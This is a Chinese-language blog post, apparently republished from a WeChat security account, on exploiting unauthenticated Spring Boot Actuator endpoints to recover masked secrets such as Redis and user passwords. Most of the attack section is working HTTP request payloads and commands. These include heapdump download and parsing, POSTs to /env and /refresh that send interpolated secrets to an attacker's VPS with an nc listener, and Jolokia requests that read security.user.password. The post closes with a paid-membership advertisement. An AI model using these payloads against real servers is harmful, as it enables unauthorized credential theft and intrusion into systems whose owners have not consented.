一.漏洞介绍
spring actuator是springboot用来管理资源处理数据、映射url端点等具有一系列功能的工具,当没有配置安全访问时,就会把一些端点数据和数据库敏感信息暴露在外
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 /beans 描述应用程序上下文里全部的Bean,以及它们的关系 /env 获取全部环境属性 /configprops 描述配置属性(包含默认值)如何注入Bean /dump 获取线程活动的快照 /health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 /info 获取应用程序的定制信息,这些信息由info打头的属性提供 /mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 /metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 /shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true /trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
1.x版本直接访问以上端点,2.x版本需要加上actuator路径
二.实战
可在相关资产测绘平台搜索springboot相关资产
poc地址如下
https://github.com/jiankeguyue/nuclei_pocs/blob/main/springboot_actuator_information_leakage.yaml
现在需要获取星号敏感信息
1.利用方式1:heapdump文件
heapdump文件是java进程在某个时间段的内存快照,其中可能包含了数据库的账号密码
漏洞利用工具参照上一篇文章
env界面存在heapdump端点
直接进行下载
java -jar heapdump_tool.jar heapdump
成功获取
2.利用方式2:eureka-client完成数据脱敏
利用条件: 可以 GET 请求目标网站的 /env 可以 POST 请求目标网站的 /env 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖 目标可以请求攻击者的服务器(请求可出外网)
目标使用了eureka-client
GET 请求目标网站的 /env
或 /actuator/env
接口,搜索 ******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名
比如这个
redis数据库的密码
然后在自己控制的外网服务器上监听端口
比如
nc -lvk 3333
然后发送数据包
1.x版本连续发送这两个数据包
POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://value:${REDIS_PASSWORD}@your vps:3333
POST /refresh Content-Type: application/x-www-form-urlencoded
这里返回了数据包
Authorization: Basic xxxxxx
xxxx后面就是可以用来解码的数据
可惜的是这种方式无法适用于被明文数据中有特殊 url 字符的情况,比如@
如下所示
3.利用方式3:利用env直接发包
spring1.x
1 POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://yourvps:3333/?=${REDIS_PASSWORD}
2
POST /refresh
Content-Type: application/x-www-form-urlencoded
2.x版本就改为
1 POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"} 2 POST /actuator/refresh Content-Type: application/json
不出意外获得的数据会是这样的
是明文数据,不需要解码
4.利用方式4:jolokia利用
目标网站存在 /jolokia 或 /actuator/jolokia 接口 目标使用了 jolokia-core 依赖(版本要求暂未知)
poc1
POST /jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
poc2
POST /jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
明文值结果包含在 response 数据包中的 value
键中。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放
往期回顾
原文始发于微信公众号(迪哥讲事):Spring未授权星号脱敏获取
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论